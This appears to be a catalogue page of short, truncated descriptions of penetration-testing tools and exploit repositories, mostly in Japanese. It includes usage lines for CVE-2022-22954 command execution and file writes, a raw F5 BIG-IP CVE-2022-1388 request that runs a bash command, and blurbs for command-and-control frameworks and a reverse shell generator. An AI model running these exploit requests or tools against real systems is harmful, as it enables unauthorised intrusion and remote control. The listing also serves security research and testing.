CVE-2022-22954

複数の脆弱性トリガーポイントの検出、マルチスレッドバッチ検出、コマンド実行、ファイル書き込み // 単一ターゲットの脆弱性検出 python CVE-2022-22954.py -u https://x.x.x.x // コマンド実行 python CVE-2022-22954.py -u https://x.x.x.x -c "id" // ファイル書き込み python CVE-2022-22954.py -u https://x.x.x.x -fn test.jsp -fc "test" // ファイルアップロード（Windowsの場合、ファイル名にパス指定が必要） python...

NorthStarC2

NorthStarC2は、Engin Demirbilekによってペネトレーションテストおよびレッドチーム活動のために開発されたオープンソースのコマンド＆コントロールフレームワークです。 NorthStar C2フレームワークは、セッションを管理するためのサーバー側GUIウェブアプリケーションと、C2サーバーと通信するためのクライアント側ステージャーの2つのアプリケーションで構成されています。 クイックインストール git clone https://github.com/EnginDemirbilek/NorthStarC2.git cd NorthStarC2/ chmod +x...

revshellgen

🚀 RevShellGen リバースシェルジェネレーター リバースシェル生成をスタイリッシュに自動化 手間をかけずにリバースシェルを生成、エンコード、待ち受け 特徴 • インストール • 使用方法 • 対応シェル • コントリビュート 📖 概要 RevShellGen は、リバースシェルコマンドの生成プロセスを簡素化する強力なコマンドラインツールです。構文の調べ直し、手動エンコード、設定の悩みはもう不要です。このツールは直感的なインターフェースで全てを処理します。 🎯 主な機能 🖥️ 対話型CLI - ユーザーフレンドリーなメニュー駆動インターフェース 🔄 自動エンコード -...

CVE-2022-1388_PoC

F5 BIG-IP RCE エクスプロイト CVE-2022-1388 POST 1: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " curl コマンドライン: $ curl -i -s -k -X $'POST' \ -H $'Host: :8443' \ -H...

eximrce-CVE-2019-10149

eximrce exim が CVE-2019-10149 に対して脆弱かどうかをテストするシンプルな python ソケット接続です。 ペイロードは /root/lweximtest にファイルを touch するだけです。出力はサーバーの応答次第で遅くなり、 python のソケットモジュールを正しく使う方法を知らないためです。高速化する方法を教えていただけると嬉しいです。cPanel 環境でのみテスト済みです。 疑わしいサーバー上でローカルに実行します。侵害の兆候をチェックします。 curl -s...

xzf

はじめに xzf は、EXIF データがコマンド＆コントロールに利用され得ることを示すシンプルな PoC です。xzf は所定の URL から画像を GET し、Software タグを読み取って認証文字列を取得します。文字列が一致した場合、xzf は ImageDescription タグに含まれる任意のコマンドを実行します。 使用方法 1. 認証文字列と XOR キーを選択し、xor.py を使用して文字列を XOR 処理します 2. 画像を選択し、gexif を使用して、実行するコマンドを ImageDescription に、認証文字列を Software タグに追加します。 3...

xcat

XCat XCat is a command line tool to exploit and investigate blind XPath injection vulnerabilities. For a complete reference read the documentation here: https://xcat.readthedocs.io/en/latest/ It supports an large number of features: Auto-selects injections run xcat injections for a list Detects t...

CVE-2026-71451

OS Command Injection vulnerability in Johnson Controls EasyIO FS32 allows - Command Injection. This issue affects EasyIO FS32: before 3.0b63...

gitpwnd

GitPwnd GitPwnd は、ネットワーク侵入テストを支援するツールです。GitPwnd を使うと、攻撃者は侵害したマシンにコマンドを送信し、その結果を git リポジトリをコマンド＆コントロール転送層として受け取ることができます。git を通信メカニズムとして使用することで、侵害されたマシンは、侵害されたマシンから信頼されていないホストや IP にある攻撃サーバーと直接通信する必要がなくなります。 現在の GitPwnd は、コマンド＆コントロール用の git リポジトリが GitHub...

BLESuite-CLI

BLESuiteCLI README BLESuiteCLI は、Bluetooth Low Energy BLE デバイスをより簡単にテストするためのコマンドラインツールです。 このツールは BLESuite Python ライブラリを使用します。このライブラリは pygattlib と Bluez Bluetooth スタックを利用し、 Attribute プロトコル ATT 上の Generic Attribute Profile GATT を使用して BLE デバイスのスキャン、読み取り、書き込みを可能にします。 このツールの目的は、GATT/ATT プロトコルを使用して BLE...

asadbg

asadbg 予備的な注意：これは asatools の一部として使用することをお勧めしますが、単体で使用することもできます。 asadbg は、Cisco ASA デバイスのライブデバッグを自動化し、シリアル/SSH を介した Cisco CLI との対話を自動化して反復的なタスクを迅速に実行するためのツールフレームワークです。 gdb をラップします asadbg.cfg 設定ファイルをサポートし、異なるバージョンのデバッグを容易にします 実機と GNS3 の両方をサポートします 任意で ret-sync を使用して、IDA Pro からのデバッグ体験を向上させます 起動時に追加の...

autopwn

autopwn ターゲットを指定して、ツールセットを実行する autopwn は、ペネトレーションテスターの作業をより簡単かつ一貫性のあるものにするために設計されています。ターゲットに対して実行したいツールを指定できるようにし、シェルで入力したりスクリプトを書いたりする必要をなくします。このツールは、特定の試験でも役立つでしょう。 Installation Dockerイメージを使用し、autopwnクライアントが接続できるようにTCP 5000を公開することをお勧めします。これは、autopwn...

cachegrab

Cachegrab Cachegrabは、TrustZone対応ARMv8コアのセキュアワールドで動作するソフトウェアに対するトレース駆動型キャッシュ攻撃の実行と可視化を支援するツールです。Cachegrabの内部動作の概要については、Cachegrabリリースアナウンスを参照してください。 AndroidでのCachegrabの使用...

Social-media-c2

ソーシャルメディアにおけるコマンド&コントロールサーバー このスクリプトは、ソーシャルメディアプラットフォームを使ってマシンを制御する方法の概念実証です。 説明と使用方法 スクリプトには以下の機能があります： history - history をリツイートする、説明に 'history' を含むInstagramの写真に「いいね」する、またはTelegramボットに 'history' と送信すると、ブラウザ履歴を削除します（Firefoxのみ対応）。 mac - mac をリツイートする、説明に 'mac'...

CVE-2022-35914-poc

CVE-2022-35914 PoC 参照 https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr 使い方 pip install -r requirements.txt ./CVE-2022-35914.py -h usage: CVE-2022-35914.py -h -u URL -c CMD -f HOOK --check --user-agent USERAGENT CVE-2022-35914 - GLPI - Command injection using a...

CVE-2026-71452

Johnson Controls EasyIO FS32 (versions prior to 3.0b63 ) is vulnerable to an OS Command Injection flaw. This vulnerability allows an attacker to execute arbitrary operating system commands on the affected device. To remediate this issue, users should update EasyIO FS32 to version 3.0b63 or later....

CVE-2026-71452

OS Command Injection vulnerability in Johnson Controls EasyIO FS32 allows OS Command Injection. This issue affects EasyIO FS32: before 3.0b63...

GTFOBLookup

GTFOBLookup GTFOBins、LOLBAS、WADComs、HijackLibsのためのオフラインコマンドライン検索ユーティリティです。 Files .gitignore : Gitignore ファイル gtfoblookup.1 : GTFOBLookup の Linux man ページ gtfoblookup.py : GTFOBLookup ユーティリティ LICENSE.md : ライセンスファイル README.md : このファイル requirements.txt : 必要な Python パッケージの一覧 Dependencies GTFOBLookup は...

idahunt

概要 要件 機能 スクリプティング 使い方 実行せずにシミュレートする 初期解析 IDA Pythonスクリプトを実行する バイナリ差分 要件 初期解析 ファイルの差分 関数の差分 フィルタ アーキテクチャ検出 ターゲット固有 idahunt を使用している既知のプロジェクト 概要 idahunt は、IDA Pro でバイナリを解析し、IDA Pro 内の情報を探すためのフレームワークです。 指定されたフォルダから再帰的にすべての実行可能ファイルを解析するコマンドラインツールです。 バックグラウンドで IDA を実行するため、各ファイルを手動で開く必要はありません。 外部の IDA...

CVE-2020-14947

CVE-2020-14947 OCS Inventory NG v2.7 のリモートコマンド実行（CVE-2020-14947）の公式エクスプロイト...